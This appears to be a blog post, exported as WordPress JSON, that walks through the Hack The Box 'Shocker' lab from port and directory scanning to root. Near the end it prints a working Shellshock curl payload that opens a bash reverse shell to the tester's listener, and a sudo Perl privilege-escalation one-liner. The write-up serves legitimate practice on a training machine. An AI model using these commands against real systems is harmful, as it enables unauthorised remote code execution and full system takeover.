{"id":134,"date":"2026-01-21T23:33:19","date_gmt":"2026-01-21T23:33:19","guid":{"rendered":"https:\/\/patatties.nl\/?p=134"},"modified":"2026-02-01T14:44:58","modified_gmt":"2026-02-01T14:44:58","slug":"htb-shocker","status":"publish","type":"post","link":"https:\/\/patatties.nl\/?p=134","title":{"rendered":"HTB: Shocker"},"content":{"rendered":"\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n

Shocker is a linux box. not sure what to expect, but ping is running, and i’m starting up an nmap scan!<\/p>\n\n\n\n

\u250c\u2500\u2500(root\u327fkali)-[\/usr\/share\/sharphound]\n\u2514\u2500# nmap -p- -sC -sV 10.129.6.206                  \nStarting Nmap 7.98 ( https:\/\/nmap.org ) at 2026-01-21 16:46 -0500\nNmap scan report for 10.129.6.206\nHost is up (0.0057s latency).\nNot shown: 65533 closed tcp ports (reset)\nPORT     STATE SERVICE VERSION\n80\/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))\n|_http-server-header: Apache\/2.4.18 (Ubuntu)\n|_http-title: Site doesn't have a title (text\/html).\n2222\/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)\n|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)\n|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 13.48 seconds<\/code><\/pre>\n\n\n\n
port 2222, probably just ssh, not much more. Lets see whats at the webserver!<\/p>\n\n\n\n
Hm, doesnt seem to want to be bugged!<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Nothing interesting at the source too. Maybe we should bust some dirs, see what more is out there.<\/p>\n\n\n\n
\u250c\u2500\u2500(root\u327fkali)-[\/usr\/share\/sharphound]\n\u2514\u2500# dirb http:\/\/10.129.6.206            \n\n-----------------\nDIRB v2.22    \nBy The Dark Raver\n-----------------\n\nSTART_TIME: Wed Jan 21 16:51:29 2026\nURL_BASE: http:\/\/10.129.6.206\/\nWORDLIST_FILES: \/usr\/share\/dirb\/wordlists\/common.txt\n\n-----------------\n\nGENERATED WORDS: 4612                                                          \n\n---- Scanning URL: http:\/\/10.129.6.206\/ ----\n+ http:\/\/10.129.6.206\/cgi-bin\/ (CODE:403|SIZE:295)                                                                            \n+ http:\/\/10.129.6.206\/index.html (CODE:200|SIZE:137)                                                                          \n+ http:\/\/10.129.6.206\/server-status (CODE:403|SIZE:300)                                                                       \n                                                                                                                              \n-----------------\nEND_TIME: Wed Jan 21 16:51:52 2026\nDOWNLOADED: 4612 - FOUND: 3<\/code><\/pre>\n\n\n\n
\/cgi-bin huh? Interesting. Maybe that’s traversable? I capture the request in burp, and start screwing around.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
No dice, not with encoding, not plain, nothing. At this difficulty machine i don’t think (sub) domain fuzzing is necessary. <\/p>\n\n\n\n
At this point we don’t have much to go on though, and after trying to find something in the picture we get using steghide and exif, i didn’t get anything yet. So maybe some more fuzzing is required. I start Dirbuster, and load up a bigger wordlist<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
No success still. Perhaps we need to focus on what we have, some know cgi-bin script.<\/p>\n\n\n\n
Using my own (pretty *special*) way of searching the \/usr\/share directory i look if i have any wordlists cgi related, and there’s some wordlists!<\/p>\n\n\n\n
\u250c\u2500\u2500(root\u327fkali)-[\/usr\/share]\n\u2514\u2500# find .\/ asd | grep cgi | grep wordlist\n.\/wfuzz\/wordlist\/vulns\/cgis.txt\nfind: \u2018asd\u2019: No such file or directory\n.\/dirb\/wordlists\/vulns\/cgis.txt\n                                  <\/code><\/pre>\n\n\n\n
no luck \ud83d\ude41<\/p>\n\n\n\n
trying a vuln-scan with nmap to see if i missed something there.<\/p>\n\n\n\n
nmap -p 80 -sC -sV –script=vulners 10.129.6.206<\/p>\n\n\n\n
The interesting vulns i see are not applicable. All in this apacheserver, but not reachable from the access we have. <\/p>\n\n\n\n
\n\n\n\n
I gotta say, and i feel kind a stupid, but after spraying wordlists till sunrise, i have no success with anything. “Try harder”<\/strong> sticks in the back of my mind. <\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
So i looked up a tip. Now i use tips more often if i get stuck, but even with the tips i try to get to the results organically. so i know i look for a specific wordlist, but for the love of god, i can’t find it.<\/p>\n\n\n\n
Looking at the format its 4 letters\/numbers and probably a .pl extension. Without this insider knowledge, i would never have considered this approach. Oh well, here we go.<\/p>\n\n\n\n
\n\n\n\n
crunch 4 4 0123456789abcdefghijklmnopqrstuvwxyz -o 4.txt<\/p>\n\n\n\n
This gives me a list of all the characters from 4 – 4 positions. Afterwards with nano i find regex and replace all sentence ends with .pl. This gives me the worlist i need.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Lets hope for the best!<\/p>\n\n\n\n
\n\n\n\n
Okay, thats a cool couple of milion possibilities. Thats gonna take way too long to walk trough. I’m going to have a peek at a walktrough.<\/p>\n\n\n\n
\n\n\n\n
Allrighty! Watched some ippsec (one of the GOAT). Apperently i should have simply tried a gobuster option for file extension. I should’ve known! Oh well, lesson learned! I’ll include this in my tools list!<\/p>\n\n\n\n
\u250c\u2500\u2500(root\u327fkali)-[\/home\/kali\/htb\/shocker]\n\u2514\u2500# dirb http:\/\/10.129.6.206\/cgi-bin\/ -X .sh,.pl\n\n-----------------\nDIRB v2.22    \nBy The Dark Raver\n-----------------\n\nSTART_TIME: Wed Jan 21 18:31:45 2026\nURL_BASE: http:\/\/10.129.6.206\/cgi-bin\/\nWORDLIST_FILES: \/usr\/share\/dirb\/wordlists\/common.txt\nEXTENSIONS_LIST: (.sh,.pl) | (.sh)(.pl) [NUM = 2]\n\n-----------------\n\nGENERATED WORDS: 4612                                                          \n\n---- Scanning URL: http:\/\/10.129.6.206\/cgi-bin\/ ----\n+ http:\/\/10.129.6.206\/cgi-bin\/user.sh (CODE:200|SIZE:118)                                                                     \n                                                                                                                              \n-----------------\nEND_TIME: Wed Jan 21 18:32:35 2026\nDOWNLOADED: 9224 - FOUND: 1<\/code><\/pre>\n\n\n\n
Gotcha! user.sh!<\/p>\n\n\n\n
For now it’s late. I’m gonna pick back up here tomorrow.<\/p>\n\n\n\n
\n\n\n\n
So user.sh, what does it do. Loading the page it seems that it outputs every once in a while with  the uptime command.<\/p>\n\n\n\n
Googling around a bit to user.sh and exploit points me to shellshock. To be honest, i was just trying a payload i found somewhere else, and it immediately worked.<\/p>\n\n\n\n
curl -H \"user-agent: () { :; }; echo; echo; \/bin\/bash -c 'bash -i >& \/dev\/tcp\/10.10.15.104\/4444 0>&1'\" http:\/\/10.129.14.137\/cgi-bin\/user.sh<\/code><\/pre>\n\n\n\n
simply adjusting the user agent this way, it made it possible to set up the reverse shell.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
this gave me the user flag too.<\/p>\n\n\n\n
\n\n\n\n
Now, we can see how we get privileges, and this is not hard. Checking with sudo -l to see what we can run as root, we see that we can run perl as root, no password.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Given that Perl is its own execution engine, we can try running a script as root.<\/p>\n\n\n\n
It can be done easier though! Looking at GTFO bins (https:\/\/gtfobins.org\/gtfobins\/perl\/#reverse-shell<\/a>), we can see that we can get a shell simply by running:<\/p>\n\n\n\n
shelly@Shocker:\/home\/shelly\/.ssh$ sudo perl -e 'exec \"\/bin\/sh\"'\nsudo perl -e 'exec \"\/bin\/sh\"'\n\n\nid\nuid=0(root) gid=0(root) groups=0(root)<\/code><\/pre>\n\n\n\n
Now that we are root, we can get the flag!<\/p>\n\n\n\n
\n\n\n\n
Conclusion<\/h2>\n\n\n\n
I don’t really like this box, but that’s because i didnt find the most important piece for hours. I learned that i should do more fuzzing on file extensions.<\/p>\n\n\n\n
After that it was really easy.<\/p>\n","protected":false},"excerpt":{"rendered":"
Shocker is a linux box. not sure what to expect, but ping is running, and i’m starting up an nmap scan! port 2222, probably just ssh, not much more. Lets see whats at the webserver! Hm, doesnt seem to want to be bugged! Nothing interesting at the source too. Maybe we should bust some dirs, […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-134","post","type-post","status-publish","format-standard","hentry","category-htb"],"_links":{"self":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts\/134","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=134"}],"version-history":[{"count":3,"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts\/134\/revisions"}],"predecessor-version":[{"id":153,"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts\/134\/revisions\/153"}],"wp:attachment":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=134"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=134"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=134"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}